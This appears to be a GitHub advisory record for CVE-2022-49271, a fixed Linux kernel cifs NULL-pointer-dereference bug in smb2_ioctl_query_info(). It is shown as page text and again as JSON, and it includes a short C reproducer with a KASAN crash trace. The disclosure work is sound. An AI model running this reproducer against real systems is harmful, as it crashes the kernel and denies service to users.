ghsa-mhc4-95pw-jjv5
Vulnerability from github
Published
2025-09-22 21:30
Modified
2025-09-22 21:30
Severity ?
5.5 (Medium) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Details

In the Linux kernel, the following vulnerability has been resolved:

cifs: prevent bad output lengths in smb2_ioctl_query_info()

When calling smb2_ioctl_query_info() with smb_query_info::flags=PASSTHRU_FSCTL and smb_query_info::output_buffer_length=0, the following would return 0x10

buffer = memdup_user(arg + sizeof(struct smb_query_info),
             qi.output_buffer_length);
if (IS_ERR(buffer)) {
    kfree(vars);
    return PTR_ERR(buffer);
}

rather than a valid pointer thus making IS_ERR() check fail. This would then cause a NULL ptr deference in @buffer when accessing it later in smb2_ioctl_query_ioctl(). While at it, prevent having a @buffer smaller than 8 bytes to correctly handle SMB2_SET_INFO FileEndOfFileInformation requests when smb_query_info::flags=PASSTHRU_SET_INFO.

Here is a small C reproducer which triggers a NULL ptr in @buffer when passing an invalid smb_query_info::flags

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>

#define die(s) perror(s), exit(1)
#define QUERY_INFO 0xc018cf07

int main(int argc, char *argv[])
{
    int fd;

    if (argc < 2)
        exit(1);
    fd = open(argv[1], O_RDONLY);
    if (fd == -1)
        die("open");
    if (ioctl(fd, QUERY_INFO, (uint32_t[]) { 0, 0, 0, 4, 0, 0}) == -1)
        die("ioctl");
    close(fd);
    return 0;
}

mount.cifs //srv/share /mnt -o ...
gcc repro.c && ./a.out /mnt/f0

[  114.138620] general protection fault, probably for non-canonical address 0xdffffc0000000000: 0000 [#1] PREEMPT SMP KASAN NOPTI
[  114.139310] KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]
[  114.139775] CPU: 2 PID: 995 Comm: a.out Not tainted 5.17.0-rc8 #1
[  114.140148] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.15.0-0-g2dd4b9b-rebuilt.opensuse.org 04/01/2014
[  114.140818] RIP: 0010:smb2_ioctl_query_info+0x206/0x410 [cifs]
[  114.141221] Code: 00 00 00 00 fc ff df 48 c1 ea 03 80 3c 02 00 0f 85 c8 01 00 00 48 b8 00 00 00 00 00 fc ff df 4c 8b 7b 28 4c 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 9c 01 00 00 49 8b 3f e8 58 02 fb ff 48 8b 14 24
[  114.142348] RSP: 0018:ffffc90000b47b00 EFLAGS: 00010256
[  114.142692] RAX: dffffc0000000000 RBX: ffff888115503200 RCX: ffffffffa020580d
[  114.143119] RDX: 0000000000000000 RSI: 0000000000000004 RDI: ffffffffa043a380
[  114.143544] RBP: ffff888115503278 R08: 0000000000000001 R09: 0000000000000003
[  114.143983] R10: fffffbfff4087470 R11: 0000000000000001 R12: ffff888115503288
[  114.144424] R13: 00000000ffffffea R14: ffff888115503228 R15: 0000000000000000
[  114.144852] FS:  00007f7aeabdf740(0000) GS:ffff888151600000(0000) knlGS:0000000000000000
[  114.145338] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  114.145692] CR2: 00007f7aeacfdf5e CR3: 000000012000e000 CR4: 0000000000350ee0
[  114.146131] Call Trace:
[  114.146291]  <TASK>
[  114.146432]  ? smb2_query_reparse_tag+0x890/0x890 [cifs]
[  114.146800]  ? cifs_mapchar+0x460/0x460 [cifs]
[  114.147121]  ? rcu_read_lock_sched_held+0x3f/0x70
[  114.147412]  ? cifs_strndup_to_utf16+0x15b/0x250 [cifs]
[  114.147775]  ? dentry_path_raw+0xa6/0xf0
[  114.148024]  ? cifs_convert_path_to_utf16+0x198/0x220 [cifs]
[  114.148413]  ? smb2_check_message+0x1080/0x1080 [cifs]
[  114.148766]  ? rcu_read_lock_sched_held+0x3f/0x70
[  114.149065]  cifs_ioctl+0x1577/0x3320 [cifs]
[  114.149371]  ? lock_downgrade+0x6f0/0x6f0
[  114.149631]  ? cifs_readdir+0x2e60/0x2e60 [cifs]
[  114.149956]  ? rcu_read_lock_sched_held+0x3f/0x70
[  114.150250]  ? __rseq_handle_notify_resume+0x80b/0xbe0
[  114.150562]  ? __up_read+0x192/0x710
[  114.150791]  ? __ia32_sys_rseq+0xf0/0xf0
[  114.151025]  ? __x64_sys_openat+0x11f/0x1d0
[  114.151296]  __x64_sys_ioctl+0x127/0x190
[  114.151549]  do_syscall_64+0x3b/0x90
[  114.151768]  entry_SYSCALL_64_after_hwframe+0x44/0xae
[  114.152079] RIP: 0033:0x7f7aead043df
[  114.152306] Code: 00 48 89 44 24 18 31 c0 48 8d 44 24 60 c7 04 24

---truncated---

Show details on source website

To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-49271"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-26T07:01:04Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\ncifs: prevent bad output lengths in smb2_ioctl_query_info()\n\nWhen calling smb2_ioctl_query_info() with\nsmb_query_info::flags=PASSTHRU_FSCTL and\nsmb_query_info::output_buffer_length=0, the following would return\n0x10\n\n\tbuffer = memdup_user(arg + sizeof(struct smb_query_info),\n\t\t\t     qi.output_buffer_length);\n\tif (IS_ERR(buffer)) {\n\t\tkfree(vars);\n\t\treturn PTR_ERR(buffer);\n\t}\n\nrather than a valid pointer thus making IS_ERR() check fail.  This\nwould then cause a NULL ptr deference in @buffer when accessing it\nlater in smb2_ioctl_query_ioctl().  While at it, prevent having a\n@buffer smaller than 8 bytes to correctly handle SMB2_SET_INFO\nFileEndOfFileInformation requests when\nsmb_query_info::flags=PASSTHRU_SET_INFO.\n\nHere is a small C reproducer which triggers a NULL ptr in @buffer when\npassing an invalid smb_query_info::flags\n\n\t#include \u003cstdio.h\u003e\n\t#include \u003cstdlib.h\u003e\n\t#include \u003cstdint.h\u003e\n\t#include \u003cunistd.h\u003e\n\t#include \u003cfcntl.h\u003e\n\t#include \u003csys/ioctl.h\u003e\n\n\t#define die(s) perror(s), exit(1)\n\t#define QUERY_INFO 0xc018cf07\n\n\tint main(int argc, char *argv[])\n\t{\n\t\tint fd;\n\n\t\tif (argc \u003c 2)\n\t\t\texit(1);\n\t\tfd = open(argv[1], O_RDONLY);\n\t\tif (fd == -1)\n\t\t\tdie(\"open\");\n\t\tif (ioctl(fd, QUERY_INFO, (uint32_t[]) { 0, 0, 0, 4, 0, 0}) == -1)\n\t\t\tdie(\"ioctl\");\n\t\tclose(fd);\n\t\treturn 0;\n\t}\n\n\tmount.cifs //srv/share /mnt -o ...\n\tgcc repro.c \u0026\u0026 ./a.out /mnt/f0\n\n\t[  114.138620] general protection fault, probably for non-canonical address 0xdffffc0000000000: 0000 [#1] PREEMPT SMP KASAN NOPTI\n\t[  114.139310] KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]\n\t[  114.139775] CPU: 2 PID: 995 Comm: a.out Not tainted 5.17.0-rc8 #1\n\t[  114.140148] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.15.0-0-g2dd4b9b-rebuilt.opensuse.org 04/01/2014\n\t[  114.140818] RIP: 0010:smb2_ioctl_query_info+0x206/0x410 [cifs]\n\t[  114.141221] Code: 00 00 00 00 fc ff df 48 c1 ea 03 80 3c 02 00 0f 85 c8 01 00 00 48 b8 00 00 00 00 00 fc ff df 4c 8b 7b 28 4c 89 fa 48 c1 ea 03 \u003c80\u003e 3c 02 00 0f 85 9c 01 00 00 49 8b 3f e8 58 02 fb ff 48 8b 14 24\n\t[  114.142348] RSP: 0018:ffffc90000b47b00 EFLAGS: 00010256\n\t[  114.142692] RAX: dffffc0000000000 RBX: ffff888115503200 RCX: ffffffffa020580d\n\t[  114.143119] RDX: 0000000000000000 RSI: 0000000000000004 RDI: ffffffffa043a380\n\t[  114.143544] RBP: ffff888115503278 R08: 0000000000000001 R09: 0000000000000003\n\t[  114.143983] R10: fffffbfff4087470 R11: 0000000000000001 R12: ffff888115503288\n\t[  114.144424] R13: 00000000ffffffea R14: ffff888115503228 R15: 0000000000000000\n\t[  114.144852] FS:  00007f7aeabdf740(0000) GS:ffff888151600000(0000) knlGS:0000000000000000\n\t[  114.145338] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n\t[  114.145692] CR2: 00007f7aeacfdf5e CR3: 000000012000e000 CR4: 0000000000350ee0\n\t[  114.146131] Call Trace:\n\t[  114.146291]  \u003cTASK\u003e\n\t[  114.146432]  ? smb2_query_reparse_tag+0x890/0x890 [cifs]\n\t[  114.146800]  ? cifs_mapchar+0x460/0x460 [cifs]\n\t[  114.147121]  ? rcu_read_lock_sched_held+0x3f/0x70\n\t[  114.147412]  ? cifs_strndup_to_utf16+0x15b/0x250 [cifs]\n\t[  114.147775]  ? dentry_path_raw+0xa6/0xf0\n\t[  114.148024]  ? cifs_convert_path_to_utf16+0x198/0x220 [cifs]\n\t[  114.148413]  ? smb2_check_message+0x1080/0x1080 [cifs]\n\t[  114.148766]  ? rcu_read_lock_sched_held+0x3f/0x70\n\t[  114.149065]  cifs_ioctl+0x1577/0x3320 [cifs]\n\t[  114.149371]  ? lock_downgrade+0x6f0/0x6f0\n\t[  114.149631]  ? cifs_readdir+0x2e60/0x2e60 [cifs]\n\t[  114.149956]  ? rcu_read_lock_sched_held+0x3f/0x70\n\t[  114.150250]  ? __rseq_handle_notify_resume+0x80b/0xbe0\n\t[  114.150562]  ? __up_read+0x192/0x710\n\t[  114.150791]  ? __ia32_sys_rseq+0xf0/0xf0\n\t[  114.151025]  ? __x64_sys_openat+0x11f/0x1d0\n\t[  114.151296]  __x64_sys_ioctl+0x127/0x190\n\t[  114.151549]  do_syscall_64+0x3b/0x90\n\t[  114.151768]  entry_SYSCALL_64_after_hwframe+0x44/0xae\n\t[  114.152079] RIP: 0033:0x7f7aead043df\n\t[  114.152306] Code: 00 48 89 44 24 18 31 c0 48 8d 44 24 60 c7 04 24\n---truncated---",
  "id": "GHSA-mhc4-95pw-jjv5",
  "modified": "2025-09-22T21:30:16Z",
  "published": "2025-09-22T21:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-49271"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/7529fbee10d82493c5cb109e51788bf74816d1c0"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/9963ccea6087268e1275b992dca5d0dd4b938765"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/b92e358757b91c2827af112cae9af513f26a3f34"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/f143f8334fb9eb2f6c7c15b9da1472d9c965fd84"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/fadddfc1dc3c6f79b21cff4a7e9a6c40b84fbc53"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}


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